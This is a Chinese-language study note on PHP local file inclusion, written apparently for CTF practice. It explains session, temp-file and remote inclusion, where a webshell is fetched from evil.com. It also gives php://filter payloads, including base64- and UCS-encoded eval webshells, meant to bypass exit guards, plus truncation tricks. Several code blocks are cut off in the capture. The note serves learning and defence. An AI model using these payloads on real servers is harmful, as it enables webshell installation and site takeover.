PHP 本地文件包含(LFI)漏洞学习笔记
前言
很久之前就想写这篇文章了,这次正好接着这个国庆假期就好好写一写,给自己加深写印象。
正文
引子
何为LFI?全程Local File Inclusion,中文译作本地文件包含漏洞。
既然是包含漏洞,那肯定少不了包含的函数。在PHP中,通常是下面四个包含函数:
1 | include() |
这四个函数功能相近,其中带_once
的函数与不带_once
的函数区别在于:对于前者不会进行重复引用,故而造成某些变量覆盖问题。而include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
两种文件包含
既然我们可以选择任意文件进行包含,如果我们选择一个webshell的话,那么岂不是就能拿到网站的控制权限?
本地包含
最简单的,我们可以通过上传一个包含webshell内容的图片,然后通过包含此图片即可得到一个可以控制的webshell。
除了上传恶意文件以外,我们也可以通过包含一些日志服务产生的日志文件。常用的有:
1 | /proc/self/environ |
session文件包含
此方法需要PHP版本>5.4.0、配置项:session.upload_progress.enabled
的值为On、代码中存在session_start函数,不过好在其默认值为On。
此方法的作用是记录上传文件时的一些信息之用。
当我们在上传文件时,若存在一个上传的字段名与session.upload_progress.name
的值相同的话,当前文件的上传进度信息将会保存在$_SESSION
中获得。
如:
1 | <form action="http://127.0.0.1/1.php" method="POST" enctype="multipart/form-data"> |
此时,在相应的session文件中,就会存有我们上传的恶意代码。
session默认位置:/var/lib/php/sessions/sess_[Cookie中PHPSESSID的值]
。
tmp临时文件包含
同样是上传文件,当PHP遇到enctype="multipart/form-data
时,会产生临时文件来保存上传文件内容,等上传结束后再执行相应操作(及时当前php文件不存在php代码,同样会产生临时文件)。
临时文件默认目录为:
- Linux:
/tmp/php[w]{6}
- Windows:
C:/Windows/php[4个随机字符].tmp
法一:分段传输防止临时文件删除过快。
需要提前知道临时文件的具体位置(上传位置填phpinfo文件时,回显内容中会提供)。
法二:PHP异常崩溃
上传位置填LFI文件
1 | 1. 7.0.0 <= PHP Version < 7.0.28 |
第一种是由于:
php代码中使用php://filter的过滤器
strip_tags
, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
当PHP异常退出后,就可以编写脚本,通过遍历文件来尝试包含后getshell了。
远程包含
利用前提(与data协议的利用前提相同):
- allow_url_fopen = On 是否允许打开远程文件
- allow_url_include = On 是否允许include/require远程文件
若 allow_url_fopen为Off,而allow_url_include为On,可以直接利用php://input
执行恶意代码。
利用过程:
在公网上比如evil.com/1.txt
存放恶意webshell,通过包含http://evil.com/1.txt
即可执行恶意payload。
PHP伪协议简单入门
何为伪协议?简单的说,就是自己定义的协议,也只有自己的软件支持,其他软件都不识别的协议就是伪协议。
在PHP中,PHP给自己定义了一个php伪协议,以:php://
起头。
至于http://
、file://
这些都不是伪协议,都是大部分系统/软件都支持的协议,共享同一套协议标准。
当然,也不只是只有包含函数能使用,类似其他许多涉及到文件读取/写入的函数都可能存在问题,这里我再列举出一些也可以使用PHP伪协议的函数:
- file_get_contents
- file_put_contents
- readfile
- fopen
- file
- show_source或highlight_file
需注意的是:
1 |
|
php://filter
官方定义如下:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
简单的说就是php伪协议的过滤器功能,可以通过拼接各种过滤器达到快速转换字节流的效果。如:
1 |
|
此时php会读取flag.php文件内容后,通过convert过滤器的base64-encode方法,最总将所得结果以php代码的形式包含到运行的php文件之中,由于base64编码之后的内容不会出现<?
,所以必然不会被识别为php代码,故而能起到文件读取的作用。
php://input
前提:allow_url_include=On
,PHP版本>5.2后,默认值为Off。
此方法相当于取HTTP数据包的BODY数据(即POST数据)。如:
1 |
|
如下图:
注意,此协议也可直接执行恶意代码:
1 | <?php |
php伪协议进阶学习
从这开始后文可能会有点乱,因为我实在不知道如何按什么顺序来写,只好想到哪写到哪了。
过滤器列表
对于php://
来说,支持多种过滤器嵌套,其格式为:
1 | php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名) |
其中filter/[read|write]=[过滤器]
可简写为filter/[过滤器]
,php会自选判断是read还是write。
而对于过滤器来说,php伪协议主要支持以下几类:
嵌套过程的执行流程为从左到右。常用的过滤器有:
过滤器名称 | 说明 | 类别 | 版本 |
---|---|---|---|
string.rot13 | rot13转换 | 字符串过滤器 | PHP>4.3.0 |
string.toupper、string.tolower | 大小写互转 | 字符串过滤器 | PHP>5.0.0 |
string.strip_tags | 去除<?(.*?)?> 的内容 |
string.strip_tags | PHP<7.3.0 |
convert.base64-encode、convert.base64-decode | base64编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.quoted-printable-encode、convert.quoted-printable-decode | URL编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.iconv.编码1.编码2 | 任意编码转换 | 转换过滤器 | PHP>5.0.0 |
zlib.deflate、zlib.inflate | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
bzip2.compress、bzip2.decompress | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
file_put_contents
对于写出函数来说,php伪协议同样可以执行,此考点以死亡exit最为出名,常在CTF中碰见。
例子:
1 |
|
如何跳出死亡exit,让程序执行我们人为定义的代码?
法一:convert.base64-decode过滤器
此方法需要注意,convert.base64-decode过滤器的特殊规则:
- 遇到除
[a_zA-Z0-9_/]
之外的字符通通忽略不计 - 每4个字符作为一组进行解码,最后一组可不满4个字符
- 等号后边不允许接除了等号以外的任何内容,如:
=a √、== ×
。
而对于上题来说,php://filter/write=
此处的等号可以简写成:php://filter/
,但是后边的resource=文件名
却不能简写或去掉。
可以配合convert.quoted-printable-decode过滤器,将等号吞掉,如:
1 |
|
其中的ª
为=aa
经过convert.quoted-printable-decode过滤器转换而得。
而对于后边的convert.base64-decode过滤器来说,ª
为可忽略字符,故在不影响后续转换的前提下将等号吞掉了,类似于宽字节SQL注入的原理。
法二:convert.iconv.utf-8.utf-7过滤器
此过滤器会将等号转换成+AD0-
,从而避开了后边的resource=文件名
的影响。
payload1:
1 | php://filter/PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=yunen.php |
此方法需要求:
- 包含函数不能为require,因为不存在
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
过滤器。 - 而对于
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
处,注意不能出现等号,因为可能会影响前边的base64数据,可在编码前的数据尾添加一些垃圾数据防止影响(base64分段编码特性)。
法三:usc-2、usc-4过滤器
payload1:
1 | php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php; |
payload2:
1 | php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php |
法四:string.strip_tags过滤器
payload:
1 | php://filter/string.strip_tags/resource=?>/../yunen.php |
前提条件:
- PHP版本<7.3.0
- Linux服务器(Windows不允许文件夹/文件名带
?
与>
。)
法五:zlib.deflate|string.tolower|zlib.inflate压缩解压过滤器
payload:
1 | php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=2.php |
原理:先通过zlib将流数据进行压缩,再讲其中的大写字母转小写后进行解压,所得数据与最初发数据会产生部分差别,故<?php exit()
将会变成<?php@厁it();
。
其他协议
除了php伪协议外,PHP还支持包含以下协议的数据流:
1 | file:// — 访问本地文件系统 |
限制包含文件的后缀名
在CTF题中,经常遇到限制了后缀的,如:
1 | <?php |
可是我们却无法上传php文件,该如何利用呢?
法一:00截断
前提:PHP版本<5.3.4
1 | lfi.php?f=shell.txt%00 |
法二:长度截断
前提:PHP版本<5.2.10 (?)
操作系统对于目录字符串存在长度限制,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
即可:
1 | lfi.php?file=././././[./]+/./shell.txt |
法三:zip、phar协议
zip与phar协议均不在意所选定文件的后缀名。
1 | zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码) |